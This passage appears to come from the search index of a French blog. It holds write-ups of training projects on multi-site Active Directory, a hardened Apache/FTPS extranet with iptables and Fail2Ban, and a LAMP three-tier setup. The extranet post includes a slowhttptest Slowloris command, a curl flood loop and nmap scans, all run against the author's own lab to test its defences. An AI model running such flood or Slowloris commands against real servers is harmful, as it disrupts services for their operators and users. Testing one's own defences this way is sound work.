sécurisé. Le RODC change ça : seul Lyon peut écrire, Marseille ne lit que.\nRéplication intra-site vs inter-site. Intra-site c\u0026rsquo;est immédiat et fréquent (notification de changement tout de suite). Inter-site c\u0026rsquo;est programmé (15 minutes par défaut) et compressé pour épargner la bande. Le Knowledge Consistency Checker calcule automatiquement la topologie de réplication et génère les connections nécessaires.\nDNS et SRV records. Active Directory dépend du DNS. Chaque DC enregistre des trucs comme _ldap._tcp.Site-Marseille._sites.dc._msdcs.company.local → RODC-NANTES.company.local pour que les clients de Marseille découvrent leur DC local.\nTombstone Lifetime. Si le VPN reste down plus longtemps que la Tombstone Lifetime (180 jours par défaut), les objets supprimés à Lyon ne vont pas remonter à Marseille. C\u0026rsquo;est pour ça que même avec un RODC, faut un VPN stable.\nÀ faire plus tard Haute disponibilité du VPN : un second tunnel de backup sur une autre connexion Internet, basculement auto via BGP ou SD-WAN. Monitoring : Nagios ou Zabbix pour alerter sur l\u0026rsquo;état du tunnel, la réplication AD, les événements de sécurité. Certificats PKI pour remplacer la Pre-Shared Key, meilleure scalabilité, révocabilité. DNS purement read-only sur le RODC (actuellement il accepte des updates dynamiques vers Lyon). BitLocker sur les serveurs.\nCe qui n\u0026rsquo;a pas été fait Script PowerShell de sauvegarde Google Drive, le cahier des charges en mentionnait un. J\u0026rsquo;ai préféré Google Drive Desktop en sync automatique. C\u0026rsquo;est natif, ça marche, pas besoin de développer du PowerShell compliqué avec OAuth et scheduling. En prod, la fiabilité prime sur la technicité.\nInfrastructure as Code avec Terraform ou Ansible, déploiement manuel via l\u0026rsquo;interface pfSense et PowerShell. En vraie prod, je dirais que c\u0026rsquo;est quasi obligatoire pour la reproductibilité, la version control, les rollbacks simples. Mais pour un projet de formation, ça n\u0026rsquo;avait pas de sens.\nSegmentation VLAN interne, les réseaux Lyon et Marseille sont séparés, mais pas de VLAN interne pour les serveurs, les postes clients, le management. Une vraie architecture incluerait une micro-segmentation avec pare-feu applicatif entre les zones.\nCe qui m\u0026rsquo;a marqué Windows Server Core. D\u0026rsquo;abord c\u0026rsquo;était étrange, pas d\u0026rsquo;interface graphique du tout. Mais vite plus efficace. Moins de services, moins de vulnérabilités. 2 GB de RAM au lieu de 4. Moins de patchs parce que pas de composants graphiques. Et PowerShell à distance, finalement c\u0026rsquo;était plus rapide qu\u0026rsquo;un RDP graphique. La courbe d\u0026rsquo;apprentissage est raide, mais la productivité à long terme paie.\nLe DNS. Tous les problèmes de réplication AD venaient du DNS. Règle essentielle : le DNS doit être parfait avant de promouvoir un DC. Résolution du DC source par FQDN. Les enregistrements SRV dans la zone AD. Résolution inverse (PTR). Pas de DNS publics (genre 8.8.8.8) en configuration.\nMTU en environnement virtualisé. J\u0026rsquo;aurais dû calculer l\u0026rsquo;overhead avant de commencer. Ethernet 1500, moins VXLAN 50, moins IPsec ESP 70. Ça donne 1380 réelle. Configuration 1400 avec marge de sécurité. Leçon : toujours calculer avant avec du SDN.\nUser Configuration vs Computer Configuration sur les GPO. C\u0026rsquo;est fondamental. User Config s\u0026rsquo;applique au contexte utilisateur, faut des objets User dans le Security Filtering. Computer Config s\u0026rsquo;applique au démarrage, faut des objets Computer. Erreur classique : filtrer une GPO Computer avec que des groupes d\u0026rsquo;utilisateurs. Elle ne s\u0026rsquo;appliquera jamais.\nConformité RGPD : comptes utilisateurs uniquement les données nécessaires, pas de champs superflus, chiffrement en transit (VPN) et au repos (EFS).\nPCI-DSS (même si on ne traite pas directement des cartes) : AES-256 pour le VPN, moindre privilège, audit trail des authentifications.\nACPR pour la banque française : RODC assure la continuité si le VPN tombe, logs AD pour l\u0026rsquo;audit, séparation entre production (Lyon) et site distant (Marseille) avec réplication unidirectionnelle.\nConclusion Au final, j\u0026rsquo;ai déployé une infrastructure AD multi-sites qui fonctionne. Le tunnel VPN IPsec avec AES-256, le RODC qui garantit la continuité d\u0026rsquo;authentification même sans VPN, les GPO avec restrictions horaires et blocage USB, la réplication AD qui marche, tout ça en place.\nC\u0026rsquo;est devenu beaucoup plus clair en le faisant. IPsec, les phases de négociation, l\u0026rsquo;overhead réseau, les enregistrements SRV, la distinction entre intra-site et inter-site replication, ça s\u0026rsquo;abstraie quand tu lis des docs, mais tu comprends vraiment quand tu debugs un problème MTU ou une résolution DNS qui plante.\nL\u0026rsquo;infrastructure est opérationnelle pour la formation. Les fondations sont là pour évoluer vers une vraie prod sécurisée et conforme aux standards bancaires.\n","permalink":"https://appercel-clement.netlify.app/posts/infrastructure-ad-multi-sites_1/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-objectifs\"\u003eContexte et objectifs\u003c/h2\u003e\n\u003cp\u003eUne mission pour une banque qui s\u0026rsquo;étendait. Lyon en tant que siège, Marseille comme nouveau site distant. Active Directory pour gérer tout ça de manière centralisée.\u003c/p\u003e","title":"ASRS Projet 5 : Déploiement d'une infrastructure Active Directory multi-sites"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et objectifs Une entreprise du secteur financier voulait déployer un prototype d\u0026rsquo;infrastructure EXTRANET exposant des services web publics tout en maintenant une séparation stricte entre ressources publiques et interfaces d\u0026rsquo;administration. Le cahier des charges imposait un service de transfert de fichiers sécurisé (FTPS) avec gestion granulaire des permissions, une architecture bi-interface, et une défense multicouche contre les attaques DDoS.\nLe projet utilisait Apache comme serveur web principal. J\u0026rsquo;ai aussi configuré NGINX en parallèle pour comprendre les différences architecturales, pas avec l\u0026rsquo;idée de le déployer en production, mais pour comparer les approches.\nLes objectifs clairs étaient : héberger le site extranet avec haute disponibilité, restreindre SSH et l\u0026rsquo;interface admin au réseau interne uniquement, chiffrer tout en HTTPS/FTPS, implémenter une défense en profondeur contre les slow connections et les DDoS simples.\nArchitecture : une séparation physique par interface Le serveur avait deux interfaces réseau distinctes : c\u0026rsquo;était la clé du projet. L\u0026rsquo;interface interne (172.16.10.11/24) exposait SSH, l\u0026rsquo;admin en HTTPS sur port 5502, et FTPS. L\u0026rsquo;interface externe (10.20.30.11/24) exposait uniquement HTTPS sur 443.\nComposant Interface Interne Interface Externe Réseau 172.16.10.0/24 10.20.30.0/24 Services SSH (22), Admin HTTPS (5502), FTPS (21) HTTPS uniquement (443) Politique firewall ACCEPT sélectif DROP par défaut Cette séparation physique offrait un isolement réel, pas juste une isolation logique dans les règles iptables. Si quelque chose compromettait le serveur web via l\u0026rsquo;interface externe, les services critiques restaient cloisonnés sur l\u0026rsquo;interface interne. C\u0026rsquo;était le vrai bénéfice : en cas de brèche, l\u0026rsquo;attaquant n\u0026rsquo;avait accès qu\u0026rsquo;à ce qui était exposé sur cette interface-là.\nApache : deux virtual hosts, deux niveaux de sécurité J\u0026rsquo;ai configuré deux virtual hosts avec des contraintes différentes. D\u0026rsquo;abord l\u0026rsquo;EXTRANET public sur 443, accessible de partout, qui servait le contenu web. Ensuite l\u0026rsquo;ADMIN privé sur 5502, écoutable uniquement sur l\u0026rsquo;IP interne (172.16.10.11), réservé à l\u0026rsquo;administration.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;VirtualHost *:80\u0026gt; ServerName extranet.company.local Redirect permanent / https://extranet.company.local/ \u0026lt;/VirtualHost\u0026gt; \u0026lt;VirtualHost *:443\u0026gt; ServerName extranet.company.local DocumentRoot /var/www/extranet SSLEngine on SSLCertificateFile /etc/ssl/certs/company-wildcard.crt SSLCertificateKeyFile /etc/ssl/private/company-wildcard.key SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 SSLCipherSuite HIGH:!aNULL:!MD5 \u0026lt;Directory /var/www/extranet\u0026gt; Options -Indexes +FollowSymLinks AllowOverride None Require all granted \u0026lt;/Directory\u0026gt; \u0026lt;/VirtualHost\u0026gt; Le second virtual host écoutait sur le port 5502 mais uniquement sur 172.16.10.11:5502 (la directive Listen limitait l\u0026rsquo;accès à cette interface). Le certificat était un wildcard auto-signé (*.company.local), suffisant pour un lab. En production, ce serait Let\u0026rsquo;s Encrypt ou une CA d\u0026rsquo;entreprise.\nGénérer le certificat :\n1 2 3 4 openssl req -x509 -nodes -days 365 -newkey rsa:2048 \\ -keyout /etc/ssl/private/company-wildcard.key \\ -out /etc/ssl/certs/company-wildcard.crt \\ -subj \u0026#34;/C=FR/ST=IDF/L=Paris/O=Company/CN=*.company.local\u0026#34; Les tests montaient qu\u0026rsquo;accéder à l\u0026rsquo;EXTRANET depuis l\u0026rsquo;externe fonctionnait (curl -k https://10.20.30.11/ → HTTP 200). Accéder à l\u0026rsquo;ADMIN depuis l\u0026rsquo;externe échouait (curl -k https://10.20.30.11:5502/ → Connection refused). Depuis l\u0026rsquo;interne, les deux marchaient.\nFTPS : permissions différenciées par groupe Linux Le service vsftpd en mode FTPS utilisait SSL/TLS obligatoire pour les données et les logins. La configuration de base était classique : pas d\u0026rsquo;utilisateurs anonymes, chroot jail pour isoler les utilisateurs, plage passive 40000-40100.\nssl_enable=YES force_local_data_ssl=YES force_local_logins_ssl=YES ssl_tlsv1=YES ssl_sslv2=NO ssl_sslv3=NO anonymous_enable=NO local_enable=YES chroot_local_user=YES allow_writeable_chroot=YES pasv_min_port=40000 pasv_max_port=40100 La partie intéressante était la gestion des permissions différenciées. J\u0026rsquo;ai créé deux groupes Linux : developers et designers. Les développeurs avaient accès complet à /var/www/extranet et /var/www/admin (permissions 770). Les graphistes n\u0026rsquo;accédaient qu\u0026rsquo;à /var/www/extranet/images (permissions 750).\n1 2 3 4 5 6 7 8 9 10 groupadd developers groupadd designers useradd -m -g developers -s /bin/bash dev_user useradd -m -g designers -s /bin/bash design_user chown -R www-data:developers /var/www/extranet chmod -R 770 /var/www/extranet chown -R www-data:designers /var/www/extranet/images chmod -R 750 /var/www/extranet/images En testant, un développeur pouvait lister et modifier partout. Un graphiste n\u0026rsquo;accédait qu\u0026rsquo;au dossier images et voyait une erreur \u0026ldquo;Permission denied\u0026rdquo; ailleurs. Le chroot jail vsftpd empêchait de remonter en dehors de son répertoire racine. Tout fonctionnait comme prévu jusqu\u0026rsquo;au moment où j\u0026rsquo;ai découvert la complexité réelle.\nProtection contre les connexions lentes : mod_reqtimeout L\u0026rsquo;attaque Slowloris envoie des requêtes HTTP extrêmement lentement (quelques octets à la fois, sur une longue période). Le but est d\u0026rsquo;épuiser les connexions du serveur. Apache peut fermer automatiquement ces connexions \u0026ldquo;lentes\u0026rdquo; avec le module mod_reqtimeout.\n1 2 3 \u0026lt;IfModule reqtimeout_module\u0026gt; RequestReadTimeout header=10-40,MinRate=500 body=20-40,MinRate=500 \u0026lt;/IfModule\u0026gt; Les paramètres : 10 à 40 secondes pour les headers, 20 à 40 secondes pour le body, débit minimum 500 octets/seconde. Si une connexion envoie moins vite, Apache la ferme.\nJ\u0026rsquo;ai testé avec slowhttptest, un outil simulant exactement Slowloris :\n1 2 slowhttptest -c 200 -H -i 10 -r 50 -t GET \\ -u https://10.20.30.11/ -x 90 -p 3 200 connexions lentes lancées. Résultat : 95% de disponibilité maintenue, environ 190 connexions fermées après 10-15 secondes, récupération rapide (moins de 5 secondes) une fois l\u0026rsquo;attaque arrêtée. Les connexions légitimes passaient sans problème.\nDéfense en profondeur : iptables, mod_reqtimeout, Fail2Ban Plutôt qu\u0026rsquo;un seul mécanisme de protection, j\u0026rsquo;ai empilé trois couches :\nEn couche réseau, iptables limite les nouvelles connexions HTTPS sur le port 443. La règle drop automatiquement les IPs qui ouvrent plus de 50 connexions en 60 secondes.\n1 2 3 4 5 iptables -A INPUT -i ens19 -p tcp --dport 443 \\ -m state --state NEW -m recent --set iptables -A INPUT -i ens19 -p tcp --dport 443 \\ -m state --state NEW -m recent --update \\ --seconds 60 --hitcount 50 -j DROP En couche application, mod_reqtimeout ferme les connexions lentes (déjà décrit plus haut).\nEn couche détection, Fail2Ban bannit automatiquement les IPs suspectes en analysant les logs. J\u0026rsquo;ai configuré cinq jails :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 [apache-404] enabled = true port = http,https filter = apache-404 logpath = /var/log/apache2/extranet-error.log maxretry = 3 bantime = 300 [apache-ddos-extranet] enabled = true port = http,https filter = apache-ddos-extranet logpath = /var/log/apache2/extranet-access.log maxretry = 100 findtime = 60 bantime = 300 [vsftpd] enabled = true port = ftp,ftps logpath = /var/log/vsftpd.log maxretry = 3 bantime = 300 La jail apache-ddos-extranet détectait les HTTP floods en lisant les logs Apache en temps réel. Quand une IP dépassait 100 requêtes en 60 secondes, Fail2Ban la bannissait automatiquement pour 5 minutes.\nPour tester, j\u0026rsquo;ai lancé 150 requêtes curl en boucle :\n1 2 3 for i in {1..150}; do curl -k -s https://10.20.30.11/ \u0026gt; /dev/null done L\u0026rsquo;IP source était bannie après environ 100 requêtes. Vérification : sudo fail2ban-client status apache-ddos-extranet montrait l\u0026rsquo;IP bannissable.\nPare-feu iptables : policy DROP, exceptions explicites La politique par défaut était DROP : tout refuser sauf autorisation explicite. C\u0026rsquo;est l\u0026rsquo;approche restrictive, plus sûre, mais qui demande de bien documenter chaque exception.\nSur l\u0026rsquo;interface externe (ens19), j\u0026rsquo;ai autorisé uniquement HTTPS :\n1 2 3 4 5 6 7 iptables -A INPUT -i ens19 -p tcp --dport 443 \\ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -o ens19 -p tcp --sport 443 \\ -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i ens19 -j DROP iptables -A OUTPUT -o ens19 -j DROP Sur l\u0026rsquo;interface interne (ens18), j\u0026rsquo;ai autorisé SSH, l\u0026rsquo;admin HTTPS, et FTPS :\n1 2 3 4 5 6 7 8 9 10 iptables -A INPUT -i ens18 -p tcp --dport 22 \\ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i ens18 -p tcp --dport 5502 \\ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i ens18 -p tcp --dport 21 \\ -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT iptables -A INPUT -i ens18 -p tcp --dport 40000:40100 \\ -m state --state ESTABLISHED,RELATED -j ACCEPT Tests de validation : depuis l\u0026rsquo;externe, HTTPS passait, SSH et l\u0026rsquo;admin 5502 étaient refusés. Depuis l\u0026rsquo;interne, tout était accessible. C\u0026rsquo;était le comportement attendu.\nApache vs NGINX : deux architectures, deux philosophies J\u0026rsquo;ai configuré une instance NGINX en parallèle pour comparer. Apache et NGINX ne pensent pas la performance de la même façon.\nApache (notamment avec le MPM prefork ou worker) crée un processus ou un thread par connexion. Consommation mémoire : 10-15 MB par worker. C\u0026rsquo;est idéal pour du contenu dynamique (PHP, Python) qui s\u0026rsquo;exécute directement dans Apache. Configuration verbale, beaucoup de modules disponibles.\nNGINX utilise un event loop asynchrone. Un seul processus gère des centaines de connexions simultanées. Consommation mémoire : 1-2 MB par worker. C\u0026rsquo;est excellent pour du contenu statique ou du reverse proxying. Configuration concise, modules limités nativement.\nLa configuration NGINX équivalente était plus courte :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 server { listen 10.20.30.11:443 ssl; server_name extranet.company.local; ssl_certificate /etc/ssl/certs/company-wildcard.crt; ssl_certificate_key /etc/ssl/private/company-wildcard.key; ssl_protocols TLSv1.2 TLSv1.3; root /var/www/extranet; location / { try_files $uri $uri/ =404; } } Pour ce projet (contenu mixte, trafic modéré), Apache était le choix adapté. NGINX aurait été surqualifié pour 100% du contenu statique, mais si l\u0026rsquo;extranet avait hébergé du PHP dynamique (qui l\u0026rsquo;était probablement), NGINX aurait demandé de router vers un PHP-FPM externe. Apache intègre ça nativement.\nTests de sécurité : validation réelle Au-delà des configurations, j\u0026rsquo;ai validé tout en testant concrètement :\nScan de ports avec nmap depuis l\u0026rsquo;externe : seul le port 443 (HTTPS) était visible. SSH et l\u0026rsquo;admin 5502 n\u0026rsquo;existaient pas du point de vue du réseau externe.\n1 2 3 nmap -p- -sV 10.20.30.11 # PORT STATE # 443/tcp open ssl/http Apache httpd 2.4.57 Analyse SSL avec sslscan : TLSv1.2 et TLSv1.3 acceptés. SSLv2, SSLv3, TLSv1.0, TLSv1.1 rejetés. Bon.\n1 2 3 sslscan 10.20.30.11:443 # Accepted: TLSv1.2, TLSv1.3 # Rejected: SSLv2, SSLv3, TLSv1.0, TLSv1.1 Le test Slowloris confirmait les 95% de disponibilité, déjà documenté plus haut.\nCôté logs, grep \u0026quot;Timeout\u0026quot; /var/log/apache2/extranet-error.log montrait 187 connexions fermées par mod_reqtimeout lors du test Slowloris. Fail2Ban avait banni 3 IPs lors des tests HTTP flood.\nDifficultés et solutions trouvées J\u0026rsquo;ai d\u0026rsquo;abord essayé le module mod_evasive pour détecter les floods. Les résultats étaient contradictoires, probablement une interaction avec la redirection HTTP vers HTTPS. J\u0026rsquo;ai abandonné pour une approche multicouche (mod_reqtimeout + Fail2Ban + iptables), qui couvrait mieux le périmètre.\nPermissions FTPS complexes. Gérer des droits différenciés entre développeurs et graphistes nécessitait de comprendre les ACL Linux. J\u0026rsquo;ai choisi les groupes Linux classiques avec chmod 770/750, soutenus par les chroot jail vsftpd pour isoler physiquement.\nConfiguration iptables interface-spécifique. Appliquer des règles différentes selon l\u0026rsquo;interface (ens18 vs ens19) sans créer de fuite était la partie la plus délicate. La solution : utiliser -i (interface inbound) et -o (interface outbound) systématiquement, avec policy DROP par défaut pour capturer tout ce qu\u0026rsquo;on n\u0026rsquo;avait pas explicitement autorisé.\nValidation DDoS dans un lab. Simuler un vrai DDoS avec ressources limitées demande des outils dédiés (slowhttptest). L\u0026rsquo;objectif était valider que le mécanisme de protection fonctionnait, pas tester la résistance absolue.\nCe que retient de ce projet L\u0026rsquo;architecture bi-interface était la clé. Physiquement séparer réseau public et réseau interne offrait un isolement bien meilleur qu\u0026rsquo;une simple segmentation logique. En cas de compromission du service web (interface externe), un attaquant n\u0026rsquo;avait accès qu\u0026rsquo;aux données/services exposés sur cette interface. SSH et l\u0026rsquo;admin restaient cloisonnés. C\u0026rsquo;était la vraie protection.\nLa défense en profondeur a du sens. Aucune couche seule n\u0026rsquo;était parfaite : iptables limitait les connexions, mod_reqtimeout fermait les lentes, Fail2Ban bannissait les IPs agressives. Combinées, elles formaient une protection cohérente, pas hermétique (rien ne l\u0026rsquo;est), mais efficace contre les attaques courantes.\nLes tests réels valident plus que la configuration seule. Une règle iptables \u0026ldquo;correcte\u0026rdquo; ne prouve pas qu\u0026rsquo;elle fonctionne. J\u0026rsquo;ai lanché des attaques Slowloris et des HTTP floods pour vérifier que la protection réagissait. Seul ce test en conditions réelles inspirait confiance.\nFail2Ban automatise la réaction aux incidents. Plutôt que de bannir manuellement les IPs méchantes dans iptables, Fail2Ban lit les logs Apache et agit en temps réel. C\u0026rsquo;est une partie de ce que font les SIEM en production, ici dans une version minimaliste, mais le principe reste.\nÉvolutions possibles Pour supporter une charge importante (10 000+ utilisateurs) :\nUn load balancer (HAProxy ou NGINX) en frontal distribuerait les connexions Un cluster de serveurs Apache offrirait la scalabilité Un CDN (Cloudflare, Akamai) servirait le contenu statique Une base de données répliquée (MySQL Master-Slave ou PostgreSQL) centraliserait l\u0026rsquo;état Mais ces évolutions sortaient du périmètre du projet de formation.\nConclusion Ce projet a consolidé ma compréhension de comment construire une infrastructure vraiment défendue. L\u0026rsquo;approche n\u0026rsquo;était pas originale (séparation physique, défense en profondeur, politique restrictive), mais comprendre pourquoi chaque élément était là plutôt que le faire machinalement, ça change beaucoup.\nL\u0026rsquo;architecture bi-interface séparant publique et administration était le point central. Les trois couches de protection (réseau, application, système) ne remplaçaient pas l\u0026rsquo;une l\u0026rsquo;autre, elles se complétaient. Et les tests réels (Slowloris, HTTP floods, scans de ports) validaient que la théorie correspondait à la pratique.\nLes difficultés (mod_evasive, permissions FTPS, iptables interface-spécifique) étaient des apprentissages : on progresse en échouant d\u0026rsquo;abord, puis en trouvant la solution. Aucun de ces problèmes n\u0026rsquo;était insurmontable une fois qu\u0026rsquo;on avait pris le temps de les diagnostiquer.\n","permalink":"https://appercel-clement.netlify.app/posts/article-infrastructure-extranet-securisee/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"contexte-et-objectifs\"\u003eContexte et objectifs\u003c/h2\u003e\n\u003cp\u003eUne entreprise du secteur financier voulait déployer un prototype d\u0026rsquo;infrastructure EXTRANET exposant des services web publics tout en maintenant une séparation stricte entre ressources publiques et interfaces d\u0026rsquo;administration. Le cahier des charges imposait un service de transfert de fichiers sécurisé (FTPS) avec gestion granulaire des permissions, une architecture bi-interface, et une défense multicouche contre les attaques DDoS.\u003c/p\u003e","title":"ASRS Projet 4 : Déploiement d'une infrastructure Extranet sécurisée"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nContexte et objectifs J\u0026rsquo;ai eu l\u0026rsquo;occasion de travailler sur un projet pour une startup du secteur de l\u0026rsquo;assurance en expansion. Le défi était de mettre en place une infrastructure web en stack LAMP (Linux, Apache, MySQL, PHP) avec une architecture 3-tiers, trois machines distinctes plutôt qu\u0026rsquo;une grosse boîte monolithique. Cette séparation promise d\u0026rsquo;améliorer la sécurité en isolant les services, ce qui m\u0026rsquo;intéressait particulièrement venant du monde de l\u0026rsquo;analyse de données où ces préoccupations n\u0026rsquo;existaient pas.\nArchitecture mise en place Trois machines virtuelles Debian 13, chacune dédiée à une fonction :\nServeur Fonction Adresse IP Services ns1 DNS 172.20.5.10 Bind9 web1 Web 172.20.5.20 Apache 2.4, PHP 8.0 db1 Base de données 172.20.5.30 MySQL 8.0 Le domaine était techcorp.local, accessible via www.techcorp.local.\nPourquoi trois tiers ? L\u0026rsquo;idée m\u0026rsquo;a séduit au premier abord : une compromission du serveur web n\u0026rsquo;expose pas directement la base de données. Les mises à jour de chaque composant peuvent se faire indépendamment. Chaque serveur peut être dimensionné selon ses besoins réels, plus de RAM pour MySQL, plus de CPU pour Apache. C\u0026rsquo;est théoriquement plus flexible qu\u0026rsquo;une seule grosse machine.\nConfigurer le DNS avec Bind9 J\u0026rsquo;ai commencé par le serveur DNS, qui doit répondre correctement pour que tout le reste fonctionne. Bind9 est le standard de facto pour un environnement interne.\nDéclaration des zones dans /etc/bind/named.conf.local :\n1 2 3 4 5 6 7 8 9 zone \u0026#34;techcorp.local\u0026#34; { type master; file \u0026#34;/etc/bind/zones/db.techcorp.local\u0026#34;; }; zone \u0026#34;5.20.172.in-addr.arpa\u0026#34; { type master; file \u0026#34;/etc/bind/zones/db.172.20.5\u0026#34;; }; Configuration de la zone directe :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $TTL 86400 @ IN SOA ns1.techcorp.local. admin.techcorp.local. ( 2024111701 3600 1800 604800 86400 ) @ IN NS ns1.techcorp.local. ns1 IN A 172.20.5.10 www IN A 172.20.5.20 @ IN A 172.20.5.20 db1 IN A 172.20.5.30 Configuration de la zone inverse :\n1 2 3 4 5 6 7 8 9 10 11 12 13 $TTL 86400 @ IN SOA ns1.techcorp.local. admin.techcorp.local. ( 2024111701 3600 1800 604800 86400 ) @ IN NS ns1.techcorp.local. 10 IN PTR ns1.techcorp.local. 20 IN PTR www.techcorp.local. 30 IN PTR db1.techcorp.local. Validation de la configuration :\n1 2 3 4 named-checkconf named-checkzone techcorp.local /etc/bind/zones/db.techcorp.local named-checkzone 5.20.172.in-addr.arpa /etc/bind/zones/db.172.20.5 dig @localhost www.techcorp.local Serveur web et Apache Apache 2.4 avec PHP 8.0 devait résoudre www.techcorp.local via notre DNS interne. J\u0026rsquo;ai configuré le client DNS sur web1 en pointant vers ns1 dans /etc/systemd/resolved.conf.\nConfiguration du VirtualHost dans /etc/apache2/sites-available/techcorp.conf :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;VirtualHost *:80\u0026gt; ServerName www.techcorp.local ServerAlias techcorp.local ServerAdmin admin@techcorp.local DocumentRoot /var/www/techcorp \u0026lt;Directory /var/www/techcorp\u0026gt; Options -Indexes +FollowSymLinks AllowOverride All Require all granted \u0026lt;/Directory\u0026gt; ErrorLog ${APACHE_LOG_DIR}/techcorp_error.log CustomLog ${APACHE_LOG_DIR}/techcorp_access.log combined \u0026lt;/VirtualHost\u0026gt; Quant aux permissions, j\u0026rsquo;ai appliqué le principe du moindre privilège, directement inspiré de mes lectures en cybersécurité :\n1 2 3 4 chown -R www-data:www-data /var/www/techcorp find /var/www/techcorp -type d -exec chmod 755 {} \\; find /var/www/techcorp -type f -exec chmod 644 {} \\; chmod 640 /var/www/techcorp/config.php Base de données MySQL MySQL 8.0 avec mysql_secure_installation. Ensuite, il fallait que MySQL écoute uniquement sur son IP interne, pas sur le réseau entier. Modification dans /etc/mysql/mysql.conf.d/mysqld.cnf :\n1 2 [mysqld] bind-address = 172.20.5.30 Création de la base et utilisateur avec privilèges limités :\n1 2 3 4 5 6 7 CREATE DATABASE app_production CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER \u0026#39;webapp_user\u0026#39;@\u0026#39;172.20.5.20\u0026#39; IDENTIFIED BY \u0026#39;Str0ng_P@ssw0rd_2024!\u0026#39;; GRANT SELECT, INSERT, UPDATE, DELETE ON app_production.* TO \u0026#39;webapp_user\u0026#39;@\u0026#39;172.20.5.20\u0026#39;; FLUSH PRIVILEGES; L\u0026rsquo;utilisateur est restreint à l\u0026rsquo;IP du serveur web ('webapp_user'@'172.20.5.20'), avec uniquement les privilèges SELECT, INSERT, UPDATE, DELETE. Rien d\u0026rsquo;autre, pas de CREATE, pas de DROP.\nStructure de la table :\n1 2 3 4 5 6 7 8 USE app_production; CREATE TABLE welcome_messages ( id INT AUTO_INCREMENT PRIMARY KEY, message TEXT NOT NULL, author VARCHAR(100), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; Intégration PHP et MySQL Le fichier config.php gère la connexion à la base :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;?php define(\u0026#39;DB_SERVER\u0026#39;, \u0026#39;172.20.5.30\u0026#39;); define(\u0026#39;DB_USERNAME\u0026#39;, \u0026#39;webapp_user\u0026#39;); define(\u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;Str0ng_P@ssw0rd_2024!\u0026#39;); define(\u0026#39;DB_NAME\u0026#39;, \u0026#39;app_production\u0026#39;); try { $conn = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); if ($conn-\u0026gt;connect_error) { throw new Exception(\u0026#34;Échec de la connexion\u0026#34;); } $conn-\u0026gt;set_charset(\u0026#34;utf8mb4\u0026#34;); } catch (Exception $e) { error_log($e-\u0026gt;getMessage()); die(\u0026#34;Erreur de connexion à la base de données\u0026#34;); } ?\u0026gt; Et index.php qui affiche les données :\n1 2 3 4 5 6 7 8 9 \u0026lt;?php require_once \u0026#39;config.php\u0026#39;; $sql = \u0026#34;SELECT message, author, created_at FROM welcome_messages ORDER BY created_at DESC\u0026#34;; $result = $conn-\u0026gt;query($sql); // Affichage HTML avec htmlspecialchars() pour la protection XSS // Design responsive avec CSS intégré ?\u0026gt; Tests et validation Pour la résolution DNS :\n1 2 3 4 5 dig www.techcorp.local # Résultat attendu : 172.20.5.20 dig -x 172.20.5.20 # Résultat attendu : www.techcorp.local Connectivité MySQL depuis web1 :\n1 2 3 4 5 6 # Depuis le serveur web mysql -h 172.20.5.30 -u webapp_user -p app_production # Test de requête SHOW TABLES; SELECT * FROM welcome_messages; Le site lui-même :\n1 2 3 4 5 curl -I http://www.techcorp.local # Résultat attendu : HTTP/1.1 200 OK curl http://www.techcorp.local # Affichage de la page HTML avec les données de la base Vérification des logs :\nApache : /var/log/apache2/techcorp_access.log, techcorp_error.log MySQL : /var/log/mysql/error.log Bind9 : journalctl -u bind9 Sécurité Le moindre privilège s\u0026rsquo;applique à plusieurs niveaux. MySQL : utilisateur CRUD uniquement, IP-restreint, pas de wildcard. Fichiers : répertoires 755, PHP 644, configuration 640. Réseau : MySQL n\u0026rsquo;écoute que sur 172.20.5.30, pas d\u0026rsquo;exposition directe.\nChaque service sur sa propre machine. Si le web se fait compromettre, l\u0026rsquo;attaquant n\u0026rsquo;y gagne pas un accès direct au serveur de base de données.\nCe qui a accroché en chemin Les points finaux des 